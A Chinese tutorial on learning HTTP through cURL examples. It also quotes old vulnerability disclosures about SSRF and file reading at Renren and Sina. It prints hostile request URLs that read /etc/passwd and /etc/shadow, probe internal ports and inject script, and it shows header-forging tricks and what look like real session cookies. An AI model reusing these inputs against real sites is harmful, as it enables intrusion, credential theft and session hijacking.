使用 cURL 来学习 HTTP 协议

Question

cURL 是什么

以下摘自 cURL 的 man 手册页说明：

curl is a tool to transfer data from or to a server, using one of the supported protocols (DICT, FILE, FTP, FTPS, GOPHER, HTTP, HTTPS, IMAP, IMAPS, LDAP, LDAPS, POP3, POP3S, RTMP, RTSP, SCP, SFTP, SMTP, SMTPS, TELNET and TFTP). The command is designed to work without user interaction.

curl offers a busload of useful tricks like proxy support, user authentication, FTP upload, HTTP post, SSL connections, cookies, file transfer resume, Metalink, and more. As you will see below, the number of features will make your head spin!

HTTP 是什么

以下摘自 RFC 2616:

The Hypertext Transfer Protocol (HTTP) is an application-level protocol for distributed, collaborative, hypermedia information systems. It is a generic, stateless, protocol which can be used for many tasks beyond its use for hypertext, such as name servers and distributed object management systems, through extension of its request methods, error codes and headers [47]. A feature of HTTP is the typing and negotiation of data representation, allowing systems to be built independently of the data being transferred.

HTTP in Action

# 标准HTTP GET请求标准静态Web Server
curl -v http://www.haolianxi.cn

# 标准HTTP GET请求有前端缓存系统的静态Web Server
curl -v http://www.qq.com -o q.html 
curl -v http://cache.haolianxi.cn -o h.html

# 标准HEAD请求
curl -v -I http://www.haolianxi.cn -o h.html

# 服务器端使用自定义HTTP响应头
curl -v http://www.baidu.com
curl -vv user.qzone.qq.com/58657589/infocenter -o qzone.html

# 处理302和301重定向
curl -vv -L  http://d.haolianxi.cn/m/sms/a/

# 使用自定义User-Agent，绕过服务器端对客户端类型的检测和限制
curl -vv -L -A "Android 250.0" -o a.apk  http://d.haolianxi.cn/m/sms/a/

# GET传参
curl -vv http://www.baidu.com/search?

# 使用自定义HTTP Request Header + POST表单数据
curl -vv -H "Content-Type:application/xml" -d "[{\"pageNo\":1,\"pageSize\":5},\"40282e2c38c264160139290dae050529\"]" http://apps.ztems.com/storeAppFacade/getAppDetail.ssm -O

# 启用传输流压缩
curl -vv -H 'Accept-Encoding: gzip, deflate' http://www.baidu.com -o baidu.html.gz

• HTTP协议进阶

应用开发中使用curl/libcurl的注意事项

图片防盗链的检测与绕过

• 利用 Referer 字段
  1. 空Referer字段值或禁止Referer字段发送
  2. 伪造Referer字段值为目标站点的白名单域名

实例

• 网络反围剿形势图（来自百度）
• 风景图片

curl \
    -X 'GET' \
      -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' \
      -H 'Accept-Language: en-US,en;q=0.5' \
      -H 'Cache-Control: max-age=0' \
      -H 'Connection: keep-alive' \
      -H 'Host: tieba.baidu.com' \
      -H 'Referer: http://www.taobao.com' \
      -H 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:19.0) Gecko/20100101 Firefox/19.0' \
      --cookie 'BAIDUID=2413052E5CAA929B4D55855AF5612EC7:FG=1' \
      --cookie 'SSUDB=lpDMnNqQ2pRLWhrVlQyS3V4SnhRcFN-UmU0UHBadzJRQ2tOaW5CLVNhYjNWRnhSQVFBQUFBJCQAAAAAAAAAAAEAAACLsxsBVHJvamFuSmFzb24AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPfHNFH3xzRRT' \
      --cookie 'BDUT=mako19F04BB9B54C1C85C4696527AF4FAD4113d4dcd432e3' \
      --cookie 'TIEBAUID=cb23caae14130a0d384a57f1' \
      --cookie 'TIEBA_USERTYPE=ccf091217f6627821c15e924' \
      --cookie 'Hm_lvt_287705c8d9e2073d13275b18dbd746dc=1363509524' \
      --cookie 'Hm_lpvt_287705c8d9e2073d13275b18dbd746dc=1363509524' \
      --cookie 'wise_device=0' \
      --cookie 'bdshare_firstime=1363509545628' \
    'http://tieba.baidu.com/photo/p?kw=%CC%FA%B4%F2%B5%C4%D3%AA%C5%CC%C1%F7%CB%AE%B5%C4%B1%F8&flux=1&tid=2209616526&pic_id=0b7b02087bf40ad19410dff0562c11dfa9ecce29&pn=1&fp=2&see_lz=1'

性能问题

安全问题

任意文件读取漏洞

人人网的分享网页功能存在诸多安全漏洞(WooYun-2010-00012)

人人网SNS社区的分享站外连接功能存在严重安全隐患, 其后台调用的Ajax接口为 http://share.renren.com/parse_share.do
向其接口提交参数link=*用于适用人人网服务器读取网络共享信息和视频图片信息等.但是由于底层适用类curl库,而没有正确过滤URL导致可以读取内网诸多信息.
如提交
http://share.renren.com/parse_share.do?link=http://2130706433 
可读取127.0.0.1服务器上的信息. 也可做端口探测, 如http://share.renren.com/parse_share.do?link=http://2130706433:8080
原因是因为IP地址127.0.0.1可换算成为 (127*256^3)+(0*256^2)+(0*256)+1=2130706433, 访问2130706433此地址则代表访问127.0.0.1
另由于curl库支持多种协议, 如file://, ftp://, telnet://等, 并且file:// 支持目录读取, 导致服务器文件信息泄露, 可以读取任意的目录和文件.
如提交 
http://share.renren.com/parse_share.do?link=file:///etc/passwd
http://share.renren.com/parse_share.do?link=file:///etc/sysconfig/

且由于其服务器运行在root权限上, 权限非常之大, 可读取shadow等内容用于暴力猜解密码.如: 
http://share.renren.com/parse_share.do?link=file:///etc/shadow

并且该网页返回的Json信息没有经过HTML值过滤,可用于在Share.renren.com下制造跨站脚本用于攻击
http://share.renren.com/parse_share.do?link=%3Cinput%20onclick=alert('Hola!wooyun!')%3E

微博--微收藏多处任意文件读取漏洞(WooYun-2011-03070)

程序应该是用了curl库吧，没有注意到file://协议，导致本地任意文件读取。。。
http://mark.appsina.com/read.php?sid=2247&type=0&url=file:///etc/passwd&pos=1&from=0&gsid=3_5bc7d139d8527229d2df38b6765c6b91b8428eda66bd8c1e61b5df&vt=2
为什么这样说？可以做如下测试：
http://mark.appsina.com/read.php?sid=2247&type=0&url=http://127.0.0.1/&pos=1&from=0&gsid=3_5bc7d139d8527229d2df38b6765c6b91b8428eda66bd8c1e61b5df&vt=2
或者
http://mark.appsina.com/read.php?sid=2247&type=0&url=telnet://221.179.193.1&pos=1&from=0&gsid=3_5bc7d139d8527229d2df38b6765c6b91b8428eda66bd8c1e61b5df&vt=2
在或者干脆读代码

其他一些：
http://h2w.iask.cn/h2wdisplay.php?u=file:///etc/passwd
http://h2w.iask.cn/h5.php?u=file:///etc/passwd
http://h2w.iask.cn/h5.php?url=file:///etc/passwd

Tags标签: 任意文件读取利用(WooYun)

缓冲区溢出漏洞

cURL Buffer Overflow Vulnerability

Volema found remotely exploitable buffer overflow vulnerability in libcurl POP3, SMTP protocol handlers which lead to code execution (RCE). When negotiating SASL DIGEST-MD5 authentication, the function Curl_sasl_create_digest_md5_message() uses the data provided from the server without doing the proper length checks and that data is then appended to a local fixed-size buffer on the stack.
 
Vendor notified, CVE-2013-0249 relased.

参考文献

HTTP RFC Stack

• Hypertext Transfer Protocol -- HTTP/1.0
• Hypertext Transfer Protocol -- HTTP/1.1
• HTTP Authentication: Basic and Digest Access Authentication
• Use and Interpretation of HTTP Version Numbers
• HTTP State Management Mechanism
• An Extension to HTTP : Digest Access Authentication

ABNF

• Augmented BNF for Syntax Specifications: ABNF

cURL

• The Art Of Scripting HTTP Requests Using Curl
• Techniques for Mastering cUR
• curl and libcurl Vulnerabilities Table Overview

工具

• 查看客户端出口IP地址等